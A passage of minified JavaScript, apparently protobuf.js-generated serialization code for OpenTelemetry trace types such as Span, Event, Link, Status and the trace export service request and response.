9:{if(!($.attributes&&$.attributes.length))$.attributes=[];$.attributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(H,H.uint32()));break}case 10:{$.droppedAttributesCount=H.uint32();break}case 11:{if(!($.events&&$.events.length))$.events=[];$.events.push(uA.opentelemetry.proto.trace.v1.Span.Event.decode(H,H.uint32()));break}case 12:{$.droppedEventsCount=H.uint32();break}case 13:{if(!($.links&&$.links.length))$.links=[];$.links.push(uA.opentelemetry.proto.trace.v1.Span.Link.decode(H,H.uint32()));break}case 14:{$.droppedLinksCount=H.uint32();break}case 15:{$.status=uA.opentelemetry.proto.trace.v1.Status.decode(H,H.uint32());break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.traceId!=null&&H.hasOwnProperty("traceId")){if(!(H.traceId&&typeof H.traceId.length==="number"||FA.isString(H.traceId)))return"traceId: buffer expected"}if(H.spanId!=null&&H.hasOwnProperty("spanId")){if(!(H.spanId&&typeof H.spanId.length==="number"||FA.isString(H.spanId)))return"spanId: buffer expected"}if(H.traceState!=null&&H.hasOwnProperty("traceState")){if(!FA.isString(H.traceState))return"traceState: string expected"}if(H.parentSpanId!=null&&H.hasOwnProperty("parentSpanId")){if(!(H.parentSpanId&&typeof H.parentSpanId.length==="number"||FA.isString(H.parentSpanId)))return"parentSpanId: buffer expected"}if(H.flags!=null&&H.hasOwnProperty("flags")){if(!FA.isInteger(H.flags))return"flags: integer expected"}if(H.name!=null&&H.hasOwnProperty("name")){if(!FA.isString(H.name))return"name: string expected"}if(H.kind!=null&&H.hasOwnProperty("kind"))switch(H.kind){default:return"kind: enum value expected";case 0:case 1:case 2:case 3:case 4:case 5:break}if(H.startTimeUnixNano!=null&&H.hasOwnProperty("startTimeUnixNano")){if(!FA.isInteger(H.startTimeUnixNano)&&!(H.startTimeUnixNano&&FA.isInteger(H.startTimeUnixNano.low)&&FA.isInteger(H.startTimeUnixNano.high)))return"startTimeUnixNano: integer|Long expected"}if(H.endTimeUnixNano!=null&&H.hasOwnProperty("endTimeUnixNano")){if(!FA.isInteger(H.endTimeUnixNano)&&!(H.endTimeUnixNano&&FA.isInteger(H.endTimeUnixNano.low)&&FA.isInteger(H.endTimeUnixNano.high)))return"endTimeUnixNano: integer|Long expected"}if(H.attributes!=null&&H.hasOwnProperty("attributes")){if(!Array.isArray(H.attributes))return"attributes: array expected";for(var J=0;J<H.attributes.length;++J){var O=uA.opentelemetry.proto.common.v1.KeyValue.verify(H.attributes[J]);if(O)return"attributes."+O}}if(H.droppedAttributesCount!=null&&H.hasOwnProperty("droppedAttributesCount")){if(!FA.isInteger(H.droppedAttributesCount))return"droppedAttributesCount: integer expected"}if(H.events!=null&&H.hasOwnProperty("events")){if(!Array.isArray(H.events))return"events: array expected";for(var J=0;J<H.events.length;++J){var O=uA.opentelemetry.proto.trace.v1.Span.Event.verify(H.events[J]);if(O)return"events."+O}}if(H.droppedEventsCount!=null&&H.hasOwnProperty("droppedEventsCount")){if(!FA.isInteger(H.droppedEventsCount))return"droppedEventsCount: integer expected"}if(H.links!=null&&H.hasOwnProperty("links")){if(!Array.isArray(H.links))return"links: array expected";for(var J=0;J<H.links.length;++J){var O=uA.opentelemetry.proto.trace.v1.Span.Link.verify(H.links[J]);if(O)return"links."+O}}if(H.droppedLinksCount!=null&&H.hasOwnProperty("droppedLinksCount")){if(!FA.isInteger(H.droppedLinksCount))return"droppedLinksCount: integer expected"}if(H.status!=null&&H.hasOwnProperty("status")){var O=uA.opentelemetry.proto.trace.v1.Status.verify(H.status);if(O)return"status."+O}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.trace.v1.Span)return H;var J=new uA.opentelemetry.proto.trace.v1.Span;if(H.traceId!=null){if(typeof H.traceId==="string")FA.base64.decode(H.traceId,J.traceId=FA.newBuffer(FA.base64.length(H.traceId)),0);else if(H.traceId.length>=0)J.traceId=H.traceId}if(H.spanId!=null){if(typeof H.spanId==="string")FA.base64.decode(H.spanId,J.spanId=FA.newBuffer(FA.base64.length(H.spanId)),0);else if(H.spanId.length>=0)J.spanId=H.spanId}if(H.traceState!=null)J.traceState=String(H.traceState);if(H.parentSpanId!=null){if(typeof H.parentSpanId==="string")FA.base64.decode(H.parentSpanId,J.parentSpanId=FA.newBuffer(FA.base64.length(H.parentSpanId)),0);else if(H.parentSpanId.length>=0)J.parentSpanId=H.parentSpanId}if(H.flags!=null)J.flags=H.flags>>>0;if(H.name!=null)J.name=String(H.name);switch(H.kind){default:if(typeof H.kind==="number"){J.kind=H.kind;break}break;case"SPAN_KIND_UNSPECIFIED":case 0:J.kind=0;break;case"SPAN_KIND_INTERNAL":case 1:J.kind=1;break;case"SPAN_KIND_SERVER":case 2:J.kind=2;break;case"SPAN_KIND_CLIENT":case 3:J.kind=3;break;case"SPAN_KIND_PRODUCER":case 4:J.kind=4;break;case"SPAN_KIND_CONSUMER":case 5:J.kind=5;break}if(H.startTimeUnixNano!=null){if(FA.Long)(J.startTimeUnixNano=FA.Long.fromValue(H.startTimeUnixNano)).unsigned=!1;else if(typeof H.startTimeUnixNano==="string")J.startTimeUnixNano=parseInt(H.startTimeUnixNano,10);else if(typeof H.startTimeUnixNano==="number")J.startTimeUnixNano=H.startTimeUnixNano;else if(typeof H.startTimeUnixNano==="object")J.startTimeUnixNano=new FA.LongBits(H.startTimeUnixNano.low>>>0,H.startTimeUnixNano.high>>>0).toNumber()}if(H.endTimeUnixNano!=null){if(FA.Long)(J.endTimeUnixNano=FA.Long.fromValue(H.endTimeUnixNano)).unsigned=!1;else if(typeof H.endTimeUnixNano==="string")J.endTimeUnixNano=parseInt(H.endTimeUnixNano,10);else if(typeof H.endTimeUnixNano==="number")J.endTimeUnixNano=H.endTimeUnixNano;else if(typeof H.endTimeUnixNano==="object")J.endTimeUnixNano=new FA.LongBits(H.endTimeUnixNano.low>>>0,H.endTimeUnixNano.high>>>0).toNumber()}if(H.attributes){if(!Array.isArray(H.attributes))throw TypeError(".opentelemetry.proto.trace.v1.Span.attributes: array expected");J.attributes=[];for(var O=0;O<H.attributes.length;++O){if(typeof H.attributes[O]!=="object")throw TypeError(".opentelemetry.proto.trace.v1.Span.attributes: object expected");J.attributes[O]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(H.attributes[O])}}if(H.droppedAttributesCount!=null)J.droppedAttributesCount=H.droppedAttributesCount>>>0;if(H.events){if(!Array.isArray(H.events))throw TypeError(".opentelemetry.proto.trace.v1.Span.events: array expected");J.events=[];for(var O=0;O<H.events.length;++O){if(typeof H.events[O]!=="object")throw TypeError(".opentelemetry.proto.trace.v1.Span.events: object expected");J.events[O]=uA.opentelemetry.proto.trace.v1.Span.Event.fromObject(H.events[O])}}if(H.droppedEventsCount!=null)J.droppedEventsCount=H.droppedEventsCount>>>0;if(H.links){if(!Array.isArray(H.links))throw TypeError(".opentelemetry.proto.trace.v1.Span.links: array expected");J.links=[];for(var O=0;O<H.links.length;++O){if(typeof H.links[O]!=="object")throw TypeError(".opentelemetry.proto.trace.v1.Span.links: object expected");J.links[O]=uA.opentelemetry.proto.trace.v1.Span.Link.fromObject(H.links[O])}}if(H.droppedLinksCount!=null)J.droppedLinksCount=H.droppedLinksCount>>>0;if(H.status!=null){if(typeof H.status!=="object")throw TypeError(".opentelemetry.proto.trace.v1.Span.status: object expected");J.status=uA.opentelemetry.proto.trace.v1.Status.fromObject(H.status)}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.attributes=[],O.events=[],O.links=[];if(J.defaults){if(J.bytes===String)O.traceId="";else if(O.traceId=[],J.bytes!==Array)O.traceId=FA.newBuffer(O.traceId);if(J.bytes===String)O.spanId="";else if(O.spanId=[],J.bytes!==Array)O.spanId=FA.newBuffer(O.spanId);if(O.traceState="",J.bytes===String)O.parentSpanId="";else if(O.parentSpanId=[],J.bytes!==Array)O.parentSpanId=FA.newBuffer(O.parentSpanId);if(O.name="",O.kind=J.enums===String?"SPAN_KIND_UNSPECIFIED":0,FA.Long){var X=new FA.Long(0,0,!1);O.startTimeUnixNano=J.longs===String?X.toString():J.longs===Number?X.toNumber():X}else O.startTimeUnixNano=J.longs===String?"0":0;if(FA.Long){var X=new FA.Long(0,0,!1);O.endTimeUnixNano=J.longs===String?X.toString():J.longs===Number?X.toNumber():X}else O.endTimeUnixNano=J.longs===String?"0":0;O.droppedAttributesCount=0,O.droppedEventsCount=0,O.droppedLinksCount=0,O.status=null,O.flags=0}if(H.traceId!=null&&H.hasOwnProperty("traceId"))O.traceId=J.bytes===String?FA.base64.encode(H.traceId,0,H.traceId.length):J.bytes===Array?Array.prototype.slice.call(H.traceId):H.traceId;if(H.spanId!=null&&H.hasOwnProperty("spanId"))O.spanId=J.bytes===String?FA.base64.encode(H.spanId,0,H.spanId.length):J.bytes===Array?Array.prototype.slice.call(H.spanId):H.spanId;if(H.traceState!=null&&H.hasOwnProperty("traceState"))O.traceState=H.traceState;if(H.parentSpanId!=null&&H.hasOwnProperty("parentSpanId"))O.parentSpanId=J.bytes===String?FA.base64.encode(H.parentSpanId,0,H.parentSpanId.length):J.bytes===Array?Array.prototype.slice.call(H.parentSpanId):H.parentSpanId;if(H.name!=null&&H.hasOwnProperty("name"))O.name=H.name;if(H.kind!=null&&H.hasOwnProperty("kind"))O.kind=J.enums===String?uA.opentelemetry.proto.trace.v1.Span.SpanKind[H.kind]===void 0?H.kind:uA.opentelemetry.proto.trace.v1.Span.SpanKind[H.kind]:H.kind;if(H.startTimeUnixNano!=null&&H.hasOwnProperty("startTimeUnixNano"))if(typeof H.startTimeUnixNano==="number")O.startTimeUnixNano=J.longs===String?String(H.startTimeUnixNano):H.startTimeUnixNano;else O.startTimeUnixNano=J.longs===String?FA.Long.prototype.toString.call(H.startTimeUnixNano):J.longs===Number?new FA.LongBits(H.startTimeUnixNano.low>>>0,H.startTimeUnixNano.high>>>0).toNumber():H.startTimeUnixNano;if(H.endTimeUnixNano!=null&&H.hasOwnProperty("endTimeUnixNano"))if(typeof H.endTimeUnixNano==="number")O.endTimeUnixNano=J.longs===String?String(H.endTimeUnixNano):H.endTimeUnixNano;else O.endTimeUnixNano=J.longs===String?FA.Long.prototype.toString.call(H.endTimeUnixNano):J.longs===Number?new FA.LongBits(H.endTimeUnixNano.low>>>0,H.endTimeUnixNano.high>>>0).toNumber():H.endTimeUnixNano;if(H.attributes&&H.attributes.length){O.attributes=[];for(var $=0;$<H.attributes.length;++$)O.attributes[$]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(H.attributes[$],J)}if(H.droppedAttributesCount!=null&&H.hasOwnProperty("droppedAttributesCount"))O.droppedAttributesCount=H.droppedAttributesCount;if(H.events&&H.events.length){O.events=[];for(var $=0;$<H.events.length;++$)O.events[$]=uA.opentelemetry.proto.trace.v1.Span.Event.toObject(H.events[$],J)}if(H.droppedEventsCount!=null&&H.hasOwnProperty("droppedEventsCount"))O.droppedEventsCount=H.droppedEventsCount;if(H.links&&H.links.length){O.links=[];for(var $=0;$<H.links.length;++$)O.links[$]=uA.opentelemetry.proto.trace.v1.Span.Link.toObject(H.links[$],J)}if(H.droppedLinksCount!=null&&H.hasOwnProperty("droppedLinksCount"))O.droppedLinksCount=H.droppedLinksCount;if(H.status!=null&&H.hasOwnProperty("status"))O.status=uA.opentelemetry.proto.trace.v1.Status.toObject(H.status,J);if(H.flags!=null&&H.hasOwnProperty("flags"))O.flags=H.flags;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.trace.v1.Span"},z.SpanKind=function(){var w={},H=Object.create(w);return H[w[0]="SPAN_KIND_UNSPECIFIED"]=0,H[w[1]="SPAN_KIND_INTERNAL"]=1,H[w[2]="SPAN_KIND_SERVER"]=2,H[w[3]="SPAN_KIND_CLIENT"]=3,H[w[4]="SPAN_KIND_PRODUCER"]=4,H[w[5]="SPAN_KIND_CONSUMER"]=5,H}(),z.Event=function(){function w(H){if(this.attributes=[],H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.timeUnixNano=null,w.prototype.name=null,w.prototype.attributes=FA.emptyArray,w.prototype.droppedAttributesCount=null,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.timeUnixNano!=null&&Object.hasOwnProperty.call(J,"timeUnixNano"))O.uint32(9).fixed64(J.timeUnixNano);if(J.name!=null&&Object.hasOwnProperty.call(J,"name"))O.uint32(18).string(J.name);if(J.attributes!=null&&J.attributes.length)for(var X=0;X<J.attributes.length;++X)uA.opentelemetry.proto.common.v1.KeyValue.encode(J.attributes[X],O.uint32(26).fork()).ldelim();if(J.droppedAttributesCount!=null&&Object.hasOwnProperty.call(J,"droppedAttributesCount"))O.uint32(32).uint32(J.droppedAttributesCount);return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.trace.v1.Span.Event;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.timeUnixNano=J.fixed64();break}case 2:{_.name=J.string();break}case 3:{if(!(_.attributes&&_.attributes.length))_.attributes=[];_.attributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(J,J.uint32()));break}case 4:{_.droppedAttributesCount=J.uint32();break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.timeUnixNano!=null&&J.hasOwnProperty("timeUnixNano")){if(!FA.isInteger(J.timeUnixNano)&&!(J.timeUnixNano&&FA.isInteger(J.timeUnixNano.low)&&FA.isInteger(J.timeUnixNano.high)))return"timeUnixNano: integer|Long expected"}if(J.name!=null&&J.hasOwnProperty("name")){if(!FA.isString(J.name))return"name: string expected"}if(J.attributes!=null&&J.hasOwnProperty("attributes")){if(!Array.isArray(J.attributes))return"attributes: array expected";for(var O=0;O<J.attributes.length;++O){var X=uA.opentelemetry.proto.common.v1.KeyValue.verify(J.attributes[O]);if(X)return"attributes."+X}}if(J.droppedAttributesCount!=null&&J.hasOwnProperty("droppedAttributesCount")){if(!FA.isInteger(J.droppedAttributesCount))return"droppedAttributesCount: integer expected"}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.trace.v1.Span.Event)return J;var O=new uA.opentelemetry.proto.trace.v1.Span.Event;if(J.timeUnixNano!=null){if(FA.Long)(O.timeUnixNano=FA.Long.fromValue(J.timeUnixNano)).unsigned=!1;else if(typeof J.timeUnixNano==="string")O.timeUnixNano=parseInt(J.timeUnixNano,10);else if(typeof J.timeUnixNano==="number")O.timeUnixNano=J.timeUnixNano;else if(typeof J.timeUnixNano==="object")O.timeUnixNano=new FA.LongBits(J.timeUnixNano.low>>>0,J.timeUnixNano.high>>>0).toNumber()}if(J.name!=null)O.name=String(J.name);if(J.attributes){if(!Array.isArray(J.attributes))throw TypeError(".opentelemetry.proto.trace.v1.Span.Event.attributes: array expected");O.attributes=[];for(var X=0;X<J.attributes.length;++X){if(typeof J.attributes[X]!=="object")throw TypeError(".opentelemetry.proto.trace.v1.Span.Event.attributes: object expected");O.attributes[X]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(J.attributes[X])}}if(J.droppedAttributesCount!=null)O.droppedAttributesCount=J.droppedAttributesCount>>>0;return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.arrays||O.defaults)X.attributes=[];if(O.defaults){if(FA.Long){var $=new FA.Long(0,0,!1);X.timeUnixNano=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.timeUnixNano=O.longs===String?"0":0;X.name="",X.droppedAttributesCount=0}if(J.timeUnixNano!=null&&J.hasOwnProperty("timeUnixNano"))if(typeof J.timeUnixNano==="number")X.timeUnixNano=O.longs===String?String(J.timeUnixNano):J.timeUnixNano;else X.timeUnixNano=O.longs===String?FA.Long.prototype.toString.call(J.timeUnixNano):O.longs===Number?new FA.LongBits(J.timeUnixNano.low>>>0,J.timeUnixNano.high>>>0).toNumber():J.timeUnixNano;if(J.name!=null&&J.hasOwnProperty("name"))X.name=J.name;if(J.attributes&&J.attributes.length){X.attributes=[];for(var _=0;_<J.attributes.length;++_)X.attributes[_]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(J.attributes[_],O)}if(J.droppedAttributesCount!=null&&J.hasOwnProperty("droppedAttributesCount"))X.droppedAttributesCount=J.droppedAttributesCount;return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.trace.v1.Span.Event"},w}(),z.Link=function(){function w(H){if(this.attributes=[],H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.traceId=null,w.prototype.spanId=null,w.prototype.traceState=null,w.prototype.attributes=FA.emptyArray,w.prototype.droppedAttributesCount=null,w.prototype.flags=null,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.traceId!=null&&Object.hasOwnProperty.call(J,"traceId"))O.uint32(10).bytes(J.traceId);if(J.spanId!=null&&Object.hasOwnProperty.call(J,"spanId"))O.uint32(18).bytes(J.spanId);if(J.traceState!=null&&Object.hasOwnProperty.call(J,"traceState"))O.uint32(26).string(J.traceState);if(J.attributes!=null&&J.attributes.length)for(var X=0;X<J.attributes.length;++X)uA.opentelemetry.proto.common.v1.KeyValue.encode(J.attributes[X],O.uint32(34).fork()).ldelim();if(J.droppedAttributesCount!=null&&Object.hasOwnProperty.call(J,"droppedAttributesCount"))O.uint32(40).uint32(J.droppedAttributesCount);if(J.flags!=null&&Object.hasOwnProperty.call(J,"flags"))O.uint32(53).fixed32(J.flags);return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.trace.v1.Span.Link;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.traceId=J.bytes();break}case 2:{_.spanId=J.bytes();break}case 3:{_.traceState=J.string();break}case 4:{if(!(_.attributes&&_.attributes.length))_.attributes=[];_.attributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(J,J.uint32()));break}case 5:{_.droppedAttributesCount=J.uint32();break}case 6:{_.flags=J.fixed32();break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.traceId!=null&&J.hasOwnProperty("traceId")){if(!(J.traceId&&typeof J.traceId.length==="number"||FA.isString(J.traceId)))return"traceId: buffer expected"}if(J.spanId!=null&&J.hasOwnProperty("spanId")){if(!(J.spanId&&typeof J.spanId.length==="number"||FA.isString(J.spanId)))return"spanId: buffer expected"}if(J.traceState!=null&&J.hasOwnProperty("traceState")){if(!FA.isString(J.traceState))return"traceState: string expected"}if(J.attributes!=null&&J.hasOwnProperty("attributes")){if(!Array.isArray(J.attributes))return"attributes: array expected";for(var O=0;O<J.attributes.length;++O){var X=uA.opentelemetry.proto.common.v1.KeyValue.verify(J.attributes[O]);if(X)return"attributes."+X}}if(J.droppedAttributesCount!=null&&J.hasOwnProperty("droppedAttributesCount")){if(!FA.isInteger(J.droppedAttributesCount))return"droppedAttributesCount: integer expected"}if(J.flags!=null&&J.hasOwnProperty("flags")){if(!FA.isInteger(J.flags))return"flags: integer expected"}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.trace.v1.Span.Link)return J;var O=new uA.opentelemetry.proto.trace.v1.Span.Link;if(J.traceId!=null){if(typeof J.traceId==="string")FA.base64.decode(J.traceId,O.traceId=FA.newBuffer(FA.base64.length(J.traceId)),0);else if(J.traceId.length>=0)O.traceId=J.traceId}if(J.spanId!=null){if(typeof J.spanId==="string")FA.base64.decode(J.spanId,O.spanId=FA.newBuffer(FA.base64.length(J.spanId)),0);else if(J.spanId.length>=0)O.spanId=J.spanId}if(J.traceState!=null)O.traceState=String(J.traceState);if(J.attributes){if(!Array.isArray(J.attributes))throw TypeError(".opentelemetry.proto.trace.v1.Span.Link.attributes: array expected");O.attributes=[];for(var X=0;X<J.attributes.length;++X){if(typeof J.attributes[X]!=="object")throw TypeError(".opentelemetry.proto.trace.v1.Span.Link.attributes: object expected");O.attributes[X]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(J.attributes[X])}}if(J.droppedAttributesCount!=null)O.droppedAttributesCount=J.droppedAttributesCount>>>0;if(J.flags!=null)O.flags=J.flags>>>0;return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.arrays||O.defaults)X.attributes=[];if(O.defaults){if(O.bytes===String)X.traceId="";else if(X.traceId=[],O.bytes!==Array)X.traceId=FA.newBuffer(X.traceId);if(O.bytes===String)X.spanId="";else if(X.spanId=[],O.bytes!==Array)X.spanId=FA.newBuffer(X.spanId);X.traceState="",X.droppedAttributesCount=0,X.flags=0}if(J.traceId!=null&&J.hasOwnProperty("traceId"))X.traceId=O.bytes===String?FA.base64.encode(J.traceId,0,J.traceId.length):O.bytes===Array?Array.prototype.slice.call(J.traceId):J.traceId;if(J.spanId!=null&&J.hasOwnProperty("spanId"))X.spanId=O.bytes===String?FA.base64.encode(J.spanId,0,J.spanId.length):O.bytes===Array?Array.prototype.slice.call(J.spanId):J.spanId;if(J.traceState!=null&&J.hasOwnProperty("traceState"))X.traceState=J.traceState;if(J.attributes&&J.attributes.length){X.attributes=[];for(var $=0;$<J.attributes.length;++$)X.attributes[$]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(J.attributes[$],O)}if(J.droppedAttributesCount!=null&&J.hasOwnProperty("droppedAttributesCount"))X.droppedAttributesCount=J.droppedAttributesCount;if(J.flags!=null&&J.hasOwnProperty("flags"))X.flags=J.flags;return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.trace.v1.Span.Link"},w}(),z}(),Y.Status=function(){function z(w){if(w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.message=null,z.prototype.code=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.message!=null&&Object.hasOwnProperty.call(H,"message"))J.uint32(18).string(H.message);if(H.code!=null&&Object.hasOwnProperty.call(H,"code"))J.uint32(24).int32(H.code);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.trace.v1.Status;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 2:{$.message=H.string();break}case 3:{$.code=H.int32();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.message!=null&&H.hasOwnProperty("message")){if(!FA.isString(H.message))return"message: string expected"}if(H.code!=null&&H.hasOwnProperty("code"))switch(H.code){default:return"code: enum value expected";case 0:case 1:case 2:break}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.trace.v1.Status)return H;var J=new uA.opentelemetry.proto.trace.v1.Status;if(H.message!=null)J.message=String(H.message);switch(H.code){default:if(typeof H.code==="number"){J.code=H.code;break}break;case"STATUS_CODE_UNSET":case 0:J.code=0;break;case"STATUS_CODE_OK":case 1:J.code=1;break;case"STATUS_CODE_ERROR":case 2:J.code=2;break}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.defaults)O.message="",O.code=J.enums===String?"STATUS_CODE_UNSET":0;if(H.message!=null&&H.hasOwnProperty("message"))O.message=H.message;if(H.code!=null&&H.hasOwnProperty("code"))O.code=J.enums===String?uA.opentelemetry.proto.trace.v1.Status.StatusCode[H.code]===void 0?H.code:uA.opentelemetry.proto.trace.v1.Status.StatusCode[H.code]:H.code;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.trace.v1.Status"},z.StatusCode=function(){var w={},H=Object.create(w);return H[w[0]="STATUS_CODE_UNSET"]=0,H[w[1]="STATUS_CODE_OK"]=1,H[w[2]="STATUS_CODE_ERROR"]=2,H}(),z}(),Y.SpanFlags=function(){var z={},w=Object.create(z);return w[z[0]="SPAN_FLAGS_DO_NOT_USE"]=0,w[z[255]="SPAN_FLAGS_TRACE_FLAGS_MASK"]=255,w[z[256]="SPAN_FLAGS_CONTEXT_HAS_IS_REMOTE_MASK"]=256,w[z[512]="SPAN_FLAGS_CONTEXT_IS_REMOTE_MASK"]=512,w}(),Y}(),q}(),K.collector=function(){var q={};return q.trace=function(){var Y={};return Y.v1=function(){var z={};return z.TraceService=function(){function w(H,J,O){oK.rpc.Service.call(this,H,J,O)}return(w.prototype=Object.create(oK.rpc.Service.prototype)).constructor=w,w.create=function(J,O,X){return new this(J,O,X)},Object.defineProperty(w.prototype.export=function H(J,O){return this.rpcCall(H,uA.opentelemetry.proto.collector.trace.v1.ExportTraceServiceRequest,uA.opentelemetry.proto.collector.trace.v1.ExportTraceServiceResponse,J,O)},"name",{value:"Export"}),w}(),z.ExportTraceServiceRequest=function(){function w(H){if(this.resourceSpans=[],H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.resourceSpans=FA.emptyArray,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.resourceSpans!=null&&J.resourceSpans.length)for(var X=0;X<J.resourceSpans.length;++X)uA.opentelemetry.proto.trace.v1.ResourceSpans.encode(J.resourceSpans[X],O.uint32(10).fork()).ldelim();return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.collector.trace.v1.ExportTraceServiceRequest;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{if(!(_.resourceSpans&&_.resourceSpans.length))_.resourceSpans=[];_.resourceSpans.push(uA.opentelemetry.proto.trace.v1.ResourceSpans.decode(J,J.uint32()));break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.resourceSpans!=null&&J.hasOwnProperty("resourceSpans")){if(!Array.isArray(J.resourceSpans))return"resourceSpans: array expected";for(var O=0;O<J.resourceSpans.length;++O){var X=uA.opentelemetry.proto.trace.v1.ResourceSpans.verify(J.resourceSpans[O]);if(X)return"resourceSpans."+X}}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.collector.trace.v1.ExportTraceServiceRequest)return J;var O=new uA.opentelemetry.proto.collector.trace.v1.ExportTraceServiceRequest;if(J.resourceSpans){if(!Array.isArray(J.resourceSpans))throw TypeError(".opentelemetry.proto.collector.trace.v1.ExportTraceServiceRequest.resourceSpans: array expected");O.resourceSpans=[];for(var X=0;X<J.resourceSpans.length;++X){if(typeof J.resourceSpans[X]!=="object")throw TypeError(".opentelemetry.proto.collector.trace.v1.ExportTraceServiceRequest.resourceSpans: object expected");O.resourceSpans[X]=uA.opentelemetry.proto.trace.v1.ResourceSpans.fromObject(J.resourceSpans[X])}}return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.arrays||O.defaults)X.resourceSpans=[];if(J.resourceSpans&&J.resourceSpans.length){X.resourceSpans=[];for(var $=0;$<J.resourceSpans.length;++$)X.resourceSpans[$]=uA.opentelemetry.proto.trace.v1.ResourceSpans.toObject(J.resourceSpans[$],O)}return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.collector.trace.v1.ExportTraceServiceRequest"},w}(),z.ExportTraceServiceResponse=function(){function w(H){if(H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.partialSuccess=null,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.partialSuccess!=null&&Object.hasOwnProperty.call(J,"partialSuccess"))uA.opentelemetry.proto.collector.trace.v1.ExportTracePartialSuccess.encode(J.partialSuccess,O.uint32(10).fork()).ldelim();return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.collector.trace.v1.ExportTraceServiceResponse;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.partialSuccess=uA.opentelemetry.proto.collector.trace.v1.ExportTracePartialSuccess.decode(J,J.uint32());break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof 